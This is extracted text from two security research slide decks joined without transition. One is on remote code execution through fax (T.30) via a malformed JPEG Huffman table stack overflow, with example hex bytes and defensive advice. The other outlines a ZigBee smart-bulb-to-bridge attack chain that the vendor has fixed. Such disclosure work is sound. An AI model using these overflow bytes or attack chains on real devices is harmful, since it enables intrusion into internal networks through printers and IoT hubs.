 Header T.30 HDLC G.3/G.4 HowDoesAFAX? PHASE A PHASE B PHASE C PHASE D Tunnel FAX T.30 Color Extension HDLC HowDoesAFAX? PHASE A PHASE B PHASE C PHASE D Tunnel JPEG Header and Body Color Extension T.30 HDLC HowDoesAFAX? Vulnerability • All the layers we showed can contain possible vulnerabilities. • The most convenient layer is the application one. • We started by inspecting the JPEG parsing capabilities. JPEG FF D8 FF E0 00 10 4A 46 49 46 00 01 02 00 00 64 00 64 00 00 FF C4 0A 02 34 D3 2A 78 80 42 6D 2B FF DA 12 28 2A 6F 2B 81 6A 16 0F C8 9A 13 FF D9 . . . . . . . J F I F . . . . d . d . . . . . . 4 . * x . Bm+ . . . ( * 0 + . j . . . . . . . EOI - End Of Image DHT - Define Huffman Table APP0 - Application Specific SOI - Start Of Image SOS - Start Of Scan Data Size Data Size Data DHT FF C4 20 00 01 00 00 00 00 02 00 01 02 00 00 00 00 00 00 FF FF C4 0A 02 34 D3 2A 78 80 42 6D 2B • Define Huffman Table • Defines 4X4 comparison matrix for the JPEG Image HEADER SIZE 4X4 MATRIX DATA DHT FF C4 20 00 01 00 00 00 00 02 00 01 02 00 00 00 00 00 00 FF FF C4 0A 02 34 D3 2A 78 80 42 6D 2B ∑( )=6 • 4X4 Matrix values are summed • The product is used as a size value for data bytes • The data bytes are copied into a 256 bytes array located on the stack Stack FF FF C4 0A 02 34 DHT 256 6 FF C4 20 00 01 00 00 00 00 02 00 01 02 00 00 00 00 00 00 FF FF C4 0A 02 34 D3 2A 78 80 42 6D 2B CanYouSpotIt? FF C4 20 FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF C4 0A 02 34 D3 2A 78 80 42 … 2B DHT Stack 256 Stack FF FF C4 0A 02 34 D3 2A 78 80 42 … 2B DHT 4000 256 Overflow!! FF C4 20 FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF C4 0A 02 34 D3 2A 78 80 42 … 2B ExploitChain • Trivial stack overflow • No constraints (“forbidden bytes”) • ~4,000 user controlled bytes • The file contains even more information we control… Demo Time Conclusions • PSTN is still a valid attack surface in 2018! • FAX can be used as a gateway to internal networks • Old outdated protocols are not good for you… WhatCanIDo? • Patch your printers • Don't connect FAX where not needed • Segregate your printers from the rest of the network STOP
 USING
 FAX LittleHelpFromMyFriends Lior Oppenheim Yannay Livneh Yoav Alon Tamir Bahar oppenheim1 tmr232 Yannayli yoavalon fin. ynvb EyalItkin
pdf
@EyalItkin Fixed by the vendor ZigBee (Radio) Attacker ZigBee Factory Reset Attacker Controlled WiFi Ethernet ZigBee (Radio) Attacker ZigBee Factory Reset Attacker Controlled WiFi Ethernet ZigBee (Radio) Attacker ZigBee Factory Reset Attacker Controlled WiFi Ethernet Malicious OTA Update ZigBee Exploit WiFi Ethernet Attacker Controlled Attacker ZigBee Exploit WiFi Ethernet Attacker Controlled Attacker Physical (PHY) layer – 2.4 GHz Radio Medium Access Control (MAC) Network (NWK) Layer Application Sublayer (APS) ZigBee Device Profile (ZDP) Some Application ZigBee Cluster Library (ZCL) Levels 1-2 IEEE 802.15.4 Levels 3 Levels 4 Levels 5+ Main CPU QCA4531-BL3A ZigBee “Modem” ATSAMR21E18E Serial Debug “… (the bridge) Is using a single huge process that does everything” E_ZCL_BOOL (0x10) E_ZCL_UINT8 (0x20) E_ZCL_UINT32 (0x23) E_ZCL_ARRAY (0x48) Yup, this firmware contains symbols! github.com/CheckPointSW/Cyber-Research/tree/master/Vulnerability/Smart_Lightbulbs Goal: Confuse malloc() to “allocate” a buffer at an arbitrary address @EyalItkin
pdf